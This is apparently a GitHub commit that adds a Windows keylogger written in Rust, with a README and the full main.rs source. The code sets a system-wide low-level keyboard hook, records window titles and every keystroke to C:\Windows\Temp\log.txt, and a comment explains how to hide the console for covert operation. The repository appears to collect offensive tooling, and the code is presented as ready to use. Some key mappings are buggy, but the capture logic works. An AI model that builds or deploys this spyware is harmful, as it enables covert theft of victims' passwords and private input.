Skip to content

Commit d769adf

Browse files
committed
Keylogger using SetWindowsHookEx
This keylogger captures keystrokes system-wide by setting a low-level keyboard hook to intercept and log all keyboard events.
1 parent a9da52a commit d769adf

File tree

4 files changed

+272
-0
lines changed

4 files changed

+272
-0
lines changed
Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
[package]
2+
name = "SetWindowsHookEx"
3+
version = "0.1.0"
4+
edition = "2021"
5+
6+
[dependencies]
7+
winapi = { version = "0.3.9", features = ["winuser","setupapi","dbghelp","wlanapi","winnls","wincon","fileapi","sysinfoapi", "fibersapi","debugapi","winerror", "wininet" , "winhttp" ,"synchapi","securitybaseapi","wincrypt","psapi", "tlhelp32", "heapapi","shellapi", "memoryapi", "processthreadsapi", "errhandlingapi", "winbase", "handleapi", "synchapi"] }

Keyloggers/SetWindowsHookEx/README.md

Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
# Keylogger using SetWindowsHookEx
2+
3+
Written an keylogger for Windows using the SetWindowsHookEx fn. The keylogger captures keystrokes system-wide by setting a low-level keyboard hook to intercept and log all keyboard events.
4+
5+
> Uncomment the `#![windows_subsystem = "windows"]` line to run without console.
6+
7+
# Proofs
8+
![proof_pic](./setwindowshook.png)
9+
10+
# Credits & Resources
11+
12+
* https://www.synacktiv.com/en/publications/writing-a-decent-win32-keylogger-13
13+
* https://www.elastic.co/security-labs/protecting-your-devices-from-information-theft-keylogger-protection
14+
15+
Author: [@5mukx](https://x.com/5mukx)
262 KB
Loading
Lines changed: 250 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,250 @@
1+
/*
2+
KeyLogger using SetWindowsHookExW
3+
Author: @5mukx
4+
*/
5+
6+
//===> Uncomment the following line to hide the console window
7+
8+
// #![windows_subsystem = "windows"]
9+
10+
use std::ptr::null_mut;
11+
use std::fs::OpenOptions;
12+
use std::io::Write;
13+
use winapi::shared::minwindef::{LPARAM, LRESULT, WPARAM};
14+
use winapi::um::libloaderapi::GetModuleHandleW;
15+
16+
use winapi::um::winuser::{
17+
CallNextHookEx, DispatchMessageW, GetForegroundWindow, GetKeyState, GetMessageW, GetWindowTextW, TranslateMessage, UnhookWindowsHookEx,
18+
HC_ACTION, KBDLLHOOKSTRUCT, VK_ADD, VK_BACK, VK_CANCEL, VK_CAPITAL, VK_CLEAR, VK_CONTROL, VK_DECIMAL, VK_DELETE, VK_DIVIDE, VK_DOWN, VK_END,
19+
VK_ESCAPE, VK_HELP, VK_HOME, VK_INSERT, VK_LCONTROL, VK_LEFT, VK_LSHIFT, VK_LWIN, VK_MENU, VK_MULTIPLY, VK_NEXT, VK_NUMLOCK, VK_NUMPAD0, VK_NUMPAD1,
20+
VK_NUMPAD2, VK_NUMPAD3, VK_NUMPAD4, VK_NUMPAD5, VK_NUMPAD6, VK_NUMPAD7, VK_NUMPAD8, VK_NUMPAD9, VK_OEM_1, VK_OEM_2, VK_OEM_3, VK_OEM_4, VK_OEM_5,
21+
VK_OEM_6, VK_OEM_7, VK_OEM_CLEAR, VK_OEM_COMMA, VK_OEM_MINUS, VK_OEM_PERIOD, VK_OEM_PLUS, VK_PAUSE, VK_PLAY, VK_PRINT, VK_PRIOR, VK_RCONTROL, VK_RETURN,
22+
VK_RIGHT, VK_RSHIFT, VK_RWIN, VK_SCROLL, VK_SELECT, VK_SEPARATOR, VK_SHIFT, VK_SLEEP, VK_SNAPSHOT, VK_SPACE, VK_SUBTRACT, VK_TAB, VK_UP, VK_ZOOM, WM_KEYDOWN,
23+
WM_KEYUP, WM_SYSKEYDOWN
24+
};
25+
26+
static mut SHIFT: bool = false;
27+
static mut LAST_WINDOW: *mut winapi::shared::windef::HWND__ = std::ptr::null_mut();
28+
static mut KEYBOARD_HOOK: winapi::shared::windef::HHOOK = std::ptr::null_mut();
29+
30+
unsafe extern "system" fn hook_procedure(n_code: i32, w_param: WPARAM, l_param: LPARAM) -> LRESULT {
31+
if n_code == HC_ACTION {
32+
let p = &*(l_param as *const KBDLLHOOKSTRUCT);
33+
if w_param == WM_KEYDOWN as usize || w_param == WM_SYSKEYDOWN as usize {
34+
let caps = (GetKeyState(VK_CAPITAL) & 0x0001) != 0;
35+
36+
let current_window = GetForegroundWindow();
37+
if current_window != LAST_WINDOW {
38+
LAST_WINDOW = current_window;
39+
40+
let mut window_title = vec![0u16; 256];
41+
GetWindowTextW(current_window, window_title.as_mut_ptr(), 256);
42+
let title = String::from_utf16_lossy(&window_title);
43+
log_to_file(&format!("\n\n[Window: {}]\n", title.trim_end_matches('\0')));
44+
}
45+
46+
let key = match p.vkCode as i32 {
47+
0x41 => if caps { if SHIFT { "A" } else { "a" } } else { if SHIFT { "A" } else { "a" } },
48+
0x42 => if caps { if SHIFT { "B" } else { "b" } } else { if SHIFT { "B" } else { "b" } },
49+
0x43 => if caps { if SHIFT { "c" } else { "C" } } else { if SHIFT { "C" } else { "c" } },
50+
0x44 => if caps { if SHIFT { "d" } else { "D" } } else { if SHIFT { "D" } else { "d" } },
51+
0x45 => if caps { if SHIFT { "e" } else { "E" } } else { if SHIFT { "E" } else { "e" } },
52+
0x46 => if caps { if SHIFT { "f" } else { "F" } } else { if SHIFT { "F" } else { "f" } },
53+
0x47 => if caps { if SHIFT { "g" } else { "G" } } else { if SHIFT { "G" } else { "g" } },
54+
0x48 => if caps { if SHIFT { "h" } else { "H" } } else { if SHIFT { "H" } else { "h" } },
55+
0x49 => if caps { if SHIFT { "i" } else { "I" } } else { if SHIFT { "I" } else { "i" } },
56+
0x4A => if caps { if SHIFT { "j" } else { "J" } } else { if SHIFT { "J" } else { "j" } },
57+
0x4B => if caps { if SHIFT { "k" } else { "K" } } else { if SHIFT { "K" } else { "k" } },
58+
0x4C => if caps { if SHIFT { "l" } else { "L" } } else { if SHIFT { "L" } else { "l" } },
59+
0x4D => if caps { if SHIFT { "m" } else { "M" } } else { if SHIFT { "M" } else { "m" } },
60+
0x4E => if caps { if SHIFT { "n" } else { "N" } } else { if SHIFT { "N" } else { "n" } },
61+
0x4F => if caps { if SHIFT { "o" } else { "O" } } else { if SHIFT { "O" } else { "o" } },
62+
0x50 => if caps { if SHIFT { "p" } else { "P" } } else { if SHIFT { "P" } else { "p" } },
63+
0x51 => if caps { if SHIFT { "q" } else { "Q" } } else { if SHIFT { "Q" } else { "q" } },
64+
0x52 => if caps { if SHIFT { "r" } else { "R" } } else { if SHIFT { "R" } else { "r" } },
65+
0x53 => if caps { if SHIFT { "s" } else { "S" } } else { if SHIFT { "S" } else { "s" } },
66+
0x54 => if caps { if SHIFT { "t" } else { "T" } } else { if SHIFT { "T" } else { "t" } },
67+
0x55 => if caps { if SHIFT { "u" } else { "U" } } else { if SHIFT { "U" } else { "u" } },
68+
0x56 => if caps { if SHIFT { "v" } else { "V" } } else { if SHIFT { "V" } else { "v" } },
69+
0x57 => if caps { if SHIFT { "w" } else { "W" } } else { if SHIFT { "W" } else { "w" } },
70+
0x58 => if caps { if SHIFT { "x" } else { "X" } } else { if SHIFT { "X" } else { "x" } },
71+
0x59 => if caps { if SHIFT { "y" } else { "Y" } } else { if SHIFT { "Y" } else { "y" } },
72+
0x5A => if caps { if SHIFT { "z" } else { "Z" } } else { if SHIFT { "Z" } else { "z" } },
73+
// Handle other keys as needed...
74+
75+
// sleep key
76+
VK_SLEEP => "[SLEEP]",
77+
78+
// number keyboard
79+
VK_NUMPAD0 => "0",
80+
VK_NUMPAD1 => "1",
81+
VK_NUMPAD2 => "2",
82+
VK_NUMPAD3 => "3",
83+
VK_NUMPAD4 => "4",
84+
VK_NUMPAD5 => "5",
85+
VK_NUMPAD6 => "6",
86+
VK_NUMPAD7 => "7",
87+
VK_NUMPAD8 => "8",
88+
VK_NUMPAD9 => "9",
89+
VK_MULTIPLY => "*",
90+
VK_ADD => "+",
91+
VK_SEPARATOR => "-",
92+
VK_SUBTRACT => "-",
93+
VK_DECIMAL => ".",
94+
VK_DIVIDE => "/",
95+
96+
97+
// Function Keys
98+
0x70 => "[F1]",
99+
0x71 => "[F2]",
100+
0x72 => "[F3]",
101+
0x73 => "[F4]",
102+
0x74 => "[F5]",
103+
0x75 => "[F6]",
104+
0x76 => "[F7]",
105+
0x77 => "[F8]",
106+
0x78 => "[F9]",
107+
0x79 => "[F10]",
108+
0x7A => "[F11]",
109+
0x7B => "[F12]",
110+
0x7C => "[F13]",
111+
0x7D => "[F14]",
112+
0x7E => "[F15]",
113+
0x7F => "[F16]",
114+
0x80 => "[F17]",
115+
0x81 => "[F18]",
116+
0x82 => "[F19]",
117+
0x83 => "[F20]",
118+
0x84 => "[F21]",
119+
0x85 => "[F22]",
120+
0x86 => "[F23]",
121+
0x87 => "[F24]",
122+
123+
// keys
124+
VK_NUMLOCK => "[NUM-LOCK]",
125+
VK_SCROLL => "[SCROLL-LOCK]",
126+
VK_BACK => "[BACK]",
127+
VK_TAB => "[TAB]",
128+
VK_CLEAR => "[CLEAR]",
129+
VK_RETURN => "[ENTER]",
130+
VK_SHIFT => "[SHIFT]",
131+
VK_CONTROL => "[CTRL]",
132+
VK_MENU => "[ALT]",
133+
VK_PAUSE => "[PAUSE]",
134+
VK_CAPITAL => "[CAP-LOCK]",
135+
VK_ESCAPE => "[ESC]",
136+
VK_SPACE => "[SPACE]",
137+
VK_PRIOR => "[PAGEUP]",
138+
VK_NEXT => "[PAGEDOWN]",
139+
VK_END => "[END]",
140+
VK_HOME => "[HOME]",
141+
VK_LEFT => "[LEFT]",
142+
VK_UP => "[UP]",
143+
VK_RIGHT => "[RIGHT]",
144+
VK_DOWN => "[DOWN]",
145+
VK_SELECT => "[SELECT]",
146+
VK_PRINT => "[PRINT]",
147+
VK_SNAPSHOT => "[PRTSCRN]",
148+
VK_INSERT => "[INS]",
149+
VK_DELETE => "[DEL]",
150+
VK_HELP => "[HELP]",
151+
152+
153+
// Number Keys with shift
154+
0x30 => if SHIFT { "!" } else { "1" },
155+
0x31 => if SHIFT { "@" } else { "2" },
156+
0x32 => if SHIFT { "#" } else { "3" },
157+
0x33 => if SHIFT { "$" } else { "4" },
158+
0x34 => if SHIFT { "%" } else { "5" },
159+
0x35 => if SHIFT { "^" } else { "6" },
160+
0x36 => if SHIFT { "&" } else { "7" },
161+
0x37 => if SHIFT { "*" } else { "8" },
162+
0x38 => if SHIFT { "(" } else { "9" },
163+
0x39 => if SHIFT { ")" } else { "0" },
164+
165+
// Windows Keys
166+
VK_LWIN => "[WIN]",
167+
VK_RWIN => "[WIN]",
168+
VK_LSHIFT => "[SHIFT]",
169+
VK_RSHIFT => "[SHIFT]",
170+
VK_LCONTROL => "[CTRL]",
171+
VK_RCONTROL => "[CTRL]",
172+
173+
// OEM Keys with shift
174+
VK_OEM_1 => if SHIFT { ":" } else { ";" },
175+
VK_OEM_PLUS => if SHIFT { "+" } else { "=" },
176+
VK_OEM_COMMA => if SHIFT { "<" } else { "," },
177+
VK_OEM_MINUS => if SHIFT { "_" } else { "-" },
178+
VK_OEM_PERIOD => if SHIFT { ">" } else { "." },
179+
VK_OEM_2 => if SHIFT { "?" } else { "/" },
180+
VK_OEM_3 => if SHIFT { "~" } else { "`" },
181+
VK_OEM_4 => if SHIFT { "{" } else { "[" },
182+
VK_OEM_5 => if SHIFT { "\\" } else { "|" },
183+
VK_OEM_6 => if SHIFT { "}" } else { "]" },
184+
VK_OEM_7 => if SHIFT { "\"" } else { "'" },
185+
186+
187+
// Action Keys
188+
VK_PLAY => "[PLAY]",
189+
VK_ZOOM => "[ZOOM]",
190+
VK_OEM_CLEAR => "[CLEAR]",
191+
VK_CANCEL => "[CTRL-C]",
192+
193+
_ => "[UNKNOWN]",
194+
};
195+
196+
log_to_file(key);
197+
}
198+
199+
if w_param == WM_KEYUP as usize && (p.vkCode == VK_LSHIFT as u32 || p.vkCode == VK_RSHIFT as u32) {
200+
SHIFT = false;
201+
}
202+
}
203+
204+
CallNextHookEx(KEYBOARD_HOOK, n_code, w_param, l_param)
205+
}
206+
207+
fn log_to_file(content: &str) {
208+
if let Ok(mut file) = OpenOptions::new().create(true).append(true).open("C:\\Windows\\Temp\\log.txt") {
209+
writeln!(file, "{}", content).unwrap();
210+
}
211+
}
212+
213+
unsafe fn unhook_keyboard() {
214+
UnhookWindowsHookEx(KEYBOARD_HOOK);
215+
}
216+
217+
fn main(){
218+
unsafe{
219+
println!("[*] Logger started");
220+
221+
let h_instance = GetModuleHandleW(null_mut());
222+
223+
if h_instance.is_null() {
224+
println!("Failed to get module handle");
225+
return;
226+
}
227+
228+
KEYBOARD_HOOK = winapi::um::winuser::SetWindowsHookExW(
229+
winapi::um::winuser::WH_KEYBOARD_LL,
230+
Some(hook_procedure),
231+
h_instance,
232+
0,
233+
);
234+
235+
if KEYBOARD_HOOK.is_null() {
236+
println!("Failed to set hook");
237+
return;
238+
}
239+
240+
println!("[*] KeyCapture started handler set");
241+
242+
let mut msg = std::mem::zeroed();
243+
while GetMessageW(&mut msg, null_mut(), 0, 0) > 0{
244+
TranslateMessage(&msg);
245+
DispatchMessageW(&msg);
246+
}
247+
248+
unhook_keyboard();
249+
}
250+
}

0 commit comments

Comments
 (0)